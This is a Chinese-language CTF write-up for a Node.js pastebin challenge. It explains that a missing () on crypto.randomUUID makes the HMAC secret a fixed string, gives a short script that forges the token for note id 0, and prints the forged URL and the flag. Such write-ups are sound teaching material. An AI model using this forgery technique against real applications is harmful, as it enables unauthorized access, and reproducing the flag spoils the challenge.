一道nodejs题目,给了源码和dockerfile,从dockerfile知道nodejs版本为17.4.0,一个pastebin
返回可以进行xss,但是不会返回cookie,所以,审计一下代码
代码逻辑很简单flag在notes[0]位置上,但是由于每个人返回的token不相同,所以想要伪造token切换到id=0看似不可能
可以发现token生成的主要逻辑是依靠两个部分
this.secret = `secret-${crypto.randomUUID}`;
和
return crypto.createHmac('sha256',this.secret).update(id.toString()).digest('hex');
当我想要使用我的nodejs14尝试生成一下secret时发现了异常
于是就去找到了17版本的在线网站,发现了漏洞,nodejs-online
randomUUID缺少()导致this.secret为固定,这也就给了伪造token的机会
所以就可以进行伪造token
const crypto = require('crypto');
let secret = `secret-${crypto.randomUUID}`;
let id = 0;
console.log(crypto.createHmac('sha256', secret).update(id.toString()).digest('hex'));
另一种手动的方法
将错误信息base64编码
console.log(btoa(`secret-${crypto.randomUUID}`));
生成
c2VjcmV0LWZ1bmN0aW9uIHJhbmRvbVVVSUQob3B0aW9ucykgewogIGlmIChvcHRpb25zICE9PSB1bmRlZmluZWQpCiAgICB2YWxpZGF0ZU9iamVjdChvcHRpb25zLCAnb3B0aW9ucycpOwogIGNvbnN0IHsKICAgIGRpc2FibGVFbnRyb3B5Q2FjaGUgPSBmYWxzZSwKICB9ID0gb3B0aW9ucyB8fCB7fTsKCiAgdmFsaWRhdGVCb29sZWFuKGRpc2FibGVFbnRyb3B5Q2FjaGUsICdvcHRpb25zLmRpc2FibGVFbnRyb3B5Q2FjaGUnKTsKCiAgcmV0dXJuIGRpc2FibGVFbnRyb3B5Q2FjaGUgPyBnZXRVbmJ1ZmZlcmVkVVVJRCgpIDogZ2V0QnVmZmVyZWRVVUlEKCk7Cn0=
利用 hmac 伪造token
访问
url/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
FLAG:dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}